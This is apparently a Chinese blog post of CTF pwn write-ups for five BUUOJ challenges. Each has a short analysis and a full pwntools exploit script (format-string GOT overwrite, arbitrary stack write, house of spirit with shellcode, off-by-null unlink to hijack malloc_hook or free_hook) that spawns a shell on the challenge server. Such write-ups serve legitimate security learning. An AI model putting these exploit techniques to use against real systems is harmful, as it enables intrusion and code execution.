buuoj Pwn writeup 146-150

146 SWPUCTF_2019_login

检查一下保护
在这里插入图片描述RELRO没有都开,能够劫持got表。

程序漏洞很简单,就是一个格式化漏洞。
在这里插入图片描述这是栈上的格式化漏洞,要注意的就是,我们这个题只能两个字节去覆盖,不能patrial write。

我们需要利用三层结构,将栈上的两个地址改成got表的地址,可以是strncmp,也可以是printf。
但是因为我们必须要一次性都改了,不能两个字节两个字节那样写,所以我们需要将栈上两个地方的地址,分别改成got跟got+2,必须一起改是因为无论是printf还是strncmp,都需要反复使用,当改了两个字节的时候,第二次改就会出问题,那么就是我们这道题的关键。

我们采用的方法就是上面说的,通过三个指针,反复修改,将栈上两个地址分别改成got 跟 got+2,然后最后一次同时修改,劫持got表。

from pwn import*

context.log_level = "debug"

r = remote("node3.buuoj.cn", 25554)
#r = process("./146")
elf = ELF("./146")
libc = ELF("./32/libc-2.27.so")

r.sendlineafter("Please input your name: ", "Yongibaoi")
r.sendlineafter("Please input your password: ", "%6$p%15$p")

r.recvuntil('0x')
stack_addr = int(r.recvuntil('0x')[:-2],16)
addr1 = int(r.recvuntil('\n')[:-1],16)
stack2 = stack_addr + 0x10
libc_base = addr1 - 0x18e91
strncmp_got = elf.got['strncmp']
system_addr = libc_base + libc.sym['system']
print "strncmp_addr = " + str(hex(strncmp_got))

print "libc_base = " + str(hex(libc_base))

#修改偏移14地方为strncmp_got
r.recvuntil("Try again!\n")
off = strncmp_got & 0xffff
r.sendline("%"+str(off)+"c%10$hn")
r.recvuntil("Try again!\n")

off1 = stack2 & 0xffff
print hex(off1)
r.sendline("%"+str(off1 + 2)+"c%6$hn")
r.recvuntil("Try again!\n")

off2 = (strncmp_got >> 16) & 0xffff
r.sendline("%"+str(off2)+"c%10$hn")
r.recvuntil("Try again!\n")

#修改偏移13地方为strncmp_got + 2
r.sendline("%"+str(off1 - 4)+"c%6$hn")
r.recvuntil("Try again!\n")

off = (strncmp_got + 2) & 0xffff
r.sendline("%"+str(off)+"c%10$hn")
r.recvuntil("Try again!\n")

r.sendline("%"+str(off1 - 2)+"c%6$hn")
r.recvuntil("Try again!\n")

off2 = ((strncmp_got + 2) >> 16) & 0xffff
r.sendline("%"+str(off2)+"c%10$hn")
r.recvuntil("Try again!\n") 

print hex(system_addr)

#劫持got表
low = system_addr & 0xffff
high = (system_addr >> 16) & 0xffff
payload = "%"+str(low)+"c%14$hn" + "%"+str(high - low)+"c%13$hn"
r.sendline(payload)
r.recvuntil("Try again!\n")

r.sendline("/bin/sh")

r.interactive()

147 qctf2018_stack2

检查一下保护

在这里插入图片描述
在这里插入图片描述
进来首先给了我们后门函数。

分析一下主程序。

在这里插入图片描述
计算平均数的一个程序,最多输入100个数,计算平均数。

在这里插入图片描述
里面又有五个功能。

show
在这里插入图片描述

add
在这里插入图片描述
change
在这里插入图片描述
问题出在这里,我们可以控制v5,所以我们可以任意地址写。

get average
在这里插入图片描述
在这里插入图片描述
关键是什么呢,我们的数组是char类型的,所以我们只能输入一个字节,包括我们去利用的时候,返回地址只能一个地址一个地址写。

在这里插入图片描述
要注意的是按照经验来讲,或者实际去调试,这个地方最后的偏移要加0x10,本来是0x74,但是要加成0x84,可以看汇编。

exp

from pwn import*

r = remote("node3.buuoj.cn", "27441")

context_level = "debug"

backdoor = [0x9b, 0x85, 0x04, 0x08]
offset = 0x84

r.sendlineafter("How many numbers you have:", "0")

for i in range(4):
    r.sendlineafter("5. exit\n", "3")
    r.sendlineafter("which number to change:\n", str(0x84 + i))
    r.sendlineafter("new number:\n", str(backdoor[i]))

r.sendlineafter("5. exit\n", "5")

r.interactive()

148 lctf2016_pwn200

检查一下保护
在这里插入图片描述保护好多没开,NX都没开,要注意利用。

在这里插入图片描述输入名字输入ID
在这里插入图片描述
这个地方有问题,我们在把v2填满的时候,因为没有’\x00’的截断,我们就可以泄露ebp的地址。

在这里插入图片描述id有问题会返回一个栈上的地址。

在这里插入图片描述
掏钱,这个地方buf可以覆盖ptr指针。

在这里插入图片描述最后发现是一个小旅馆。

在这里插入图片描述
在这里插入图片描述
我们要怎么去利用这个这两个漏洞。
首先我们可以拿到栈地址,通过覆盖栈的指针,我们可以做到free任意地址chunk,那么这是经典漏洞 house of spirit。
关键就是我们怎样去设置我们malloc的chunk。

我们这里在栈上写上shellcode,malloc栈上的chunk,返回地址填成shellcode的地址就好了。

from pwn import *

context.arch = 'amd64'  
context.log_level = 'debug'

r = remote("node3.buuoj.cn", "29765")

elf = ELF('./148')
free_got = elf.got["free"]

shellcode = asm(shellcraft.sh())
r.sendafter('u?\n',shellcode+"a"*(48-len(shellcode)))

ebp = u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))

offset = -0x50
shellcode_addr = ebp + offset
r.sendline('0') 

r.recvuntil('\n')

payload = p64(shellcode_addr)
r.send(payload + '\x00'*(0x38-len(payload)) + p64(free_got)) 
r.recvuntil('choice :')
r.sendline('2')
r.interactive()

149 sctf_2019_easy_heap

检查一下保护

在这里插入图片描述保护全开。

在这里插入图片描述先读了一个随机数,然后申请了一块内存,权限是7,是可读可写可执行。
还会输出这个页的地址。

在这里插入图片描述我们可以看到红线处确实有个mmap的东西,权限rwxp都有。
一定可以利用。

alloc
在这里插入图片描述

结构很清晰,最多申请16个chunk,申请的地址跟大小会被放在bss上面,保护开了pie,但是这个地方会泄露bss地址出来,然后pie就白开。

delete
在这里插入图片描述count那个计数好像也没什么用。

fill
在这里插入图片描述
在这里插入图片描述
free里面没啥事就好好研究研究写入,发现有off by null。

off by null 加上一个mmap的可读可写可执行内存,可以把通过off by null 制造unlink,然后写shellcode,然后malloc跳过去。
现在的问题是说我们怎么能够得到malloc_hook的地址。
我们利用off by one制造好的overlap,来讲arena+0x96的值写在被overlap的chunk种,之后我们利用他的值跟malloc_hook只差一个0x30,只要写一个字节,把他最后一个字节变成0x30就可以了,然后我们申请到malloc_hook的chunk,改成shellcode地方。
在这里插入图片描述

off by null的思路我们有两种
第一种是申请ABCD,free A,edit C,overlap B,然后利用
第二种是在A里面首先伪造unlink,或者有uaf也行,然后unlink控制bss,再做利用。

exp

from pwn import*

context.log_level = "debug"
context.arch = "amd64"

#r =process("./149")
r = remote("node3.buuoj.cn", "25174")

elf = ELF('./149')
libc = ELF("./64/libc-2.27.so")

def alloc(size):
    r.sendlineafter(">> ", "1")
    r.sendlineafter("Size: ", str(size))

def delete(index):
    r.sendlineafter(">> ", "2")
    r.sendlineafter("Index: ", str(index))

def fill(index, content):
    r.sendlineafter(">> ", "3")
    r.sendlineafter("Index: ", str(index))
    r.sendlineafter("Content: ", content)

r.recvuntil("Mmap: 0x")
mmap_addr = int(r.recv(10),16)

print hex(mmap_addr)

alloc(0x38) #0
r.recvuntil("0x")
bss_addr = int(r.recv(12), 16)

print hex(bss_addr)

alloc(0x4f8) #1
alloc(0x20) #2
payload1 = p64(0) + p64(0x21)
payload1 += p64(bss_addr - 0x18) + p64(bss_addr - 0x10)
payload1 += p64(0x20) + p64(0) + p64(0x30)
fill(0, payload1)

delete(1)

#上面这一部分做的是一个unlink的效果

payload2 = p64(0) * 2 + p64(0x550) + p64(bss_addr + 0x10) + p64(0x550) + p64(mmap_addr)
fill(0, payload2)
fill(1, asm(shellcraft.sh()))

#写入shellcode

payload3 = p64(bss_addr + 0x28) + p64(0x20) + p64(0x491) + 'a' * 0x488
payload3 += p64(0x21) + 'a' * 0x18 + p64(0x21)

fill(0, payload3)
delete(1)
#伪造chunk并且放入unsorted链,这样就会有一个地址写在bss上
payload4 = 'a' * 0x18 + p64(0x20) + '\x30'
fill(0, payload4)
#讲那个地址修改成malloc_hook

fill(3, p64(mmap_addr))
#malloc_hook里面写入mmap地址
alloc(0x20)
#get shell
r.interactive()

150 ciscn_2019_s_1

检查一下保护在这里插入图片描述
malloc
在这里插入图片描述
申请的大小有限制,会直接给出申请的chunk的地址。

free
在这里插入图片描述清理的很干净。

edit
在这里插入图片描述
通过key限制只能编辑两次,会画蛇添足有一个off by null漏洞。

show
在这里插入图片描述
必须先把那个地方劫持掉,key2那里改掉,才能show的出来。

off by null思路很清楚,就像上面那个一样,这里因为我们要控制bss,所以我们还是选择通过off by null做一个unlink,控制bss,在bss中伪造一个chunk,free掉,然后申请回来,用于修改key2.然后泄露地址,最后one_gadget一套带走。

我们想要通过unlink来修改key,因为只能edit两次,所以我们平常做好unlink的收已经edit两次了,没机会编辑key,所以我们想着让最后一个地址做unlink,然后尝试铜鼓第二次edit覆盖过去。
要注意最后一个chunk的len会覆盖第一个chunk地址,所以free的时候从序号1开始free。
在这里插入图片描述
大小是够的,就是可以通过最后一个chunk来覆盖key,效果如下图。
在这里插入图片描述
接下来我们需要泄露libc的地址,泄露地址可以有很多种,以前的话我们仅仅是 通过overlap来邪路arena地址,但是我们也可以通过got表来泄露地址。

在这里插入图片描述然后就是泄露地址,修改free_hook,就好了。

exp

# -*- coding: utf-8 -*-
from pwn import*

context.log_level = "debug"
context.arch = "amd64"

#r =process("./150")
r = remote("node3.buuoj.cn", "26705")

elf = ELF('./150')
libc = ELF("./64/libc-2.27.so")

def malloc(index, size, content):
    r.sendlineafter("4.show\n", "1")
    r.sendlineafter("index:\n", str(index))
    r.sendlineafter("size:\n", str(size))
    r.sendafter("content:\n", content) #因为题目原因程序不处理回车,所以直接send,不发回车了.

def free(index):
    r.sendlineafter("4.show\n", "2")
    r.sendlineafter("index:\n", str(index))

def edit(index, content):
    r.sendlineafter("4.show\n", "3")
    r.sendlineafter("index:\n", str(index))
    r.sendafter("content:\n", content)  #这个地方也要用send.

def show(index):
    r.sendlineafter("4.show\n", "4")
    r.sendlineafter("index:\n", str(index))

ptr_addr = 0x6021e0
key2_addr = 0x6022b8
free_got = elf.got['free']

for i in xrange(7):
    malloc(i,0xf8,str(i)*8)
    
malloc(7,0xf8,'7'*8)
malloc(32,0xf8,'aaaa')
malloc(8,0xf8,'8'*8)
malloc(9,0xf8,"/bin/sh\x00")

addr = 0x6020e0+8*32
payload = p64(0)+p64(0xf1)
payload += p64(addr-0x18)+p64(addr-0x10)
payload = payload.ljust(0xf0,"\x00")
payload += p64(0xf0)
    
for i in range(1,8):
    free(i)

edit(32,payload)
free(8)

payload = p64(free_got)
payload += p64(ptr_addr-0x18)+p64(ptr_addr-0x18)
payload += p64(ptr_addr)
payload = payload.ljust(0xf0,'\x00')
payload += "\x01\x00\x00\x00\x05\x00\x00\x00"
edit(32,payload)

#gdb.attach(r)
#input()

show(29)
libc_base = u64(r.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-libc.sym["free"]
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
print hex(libc_base)

edit(32,p64(free_hook))
edit(32,p64(system))
free(9)

r.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值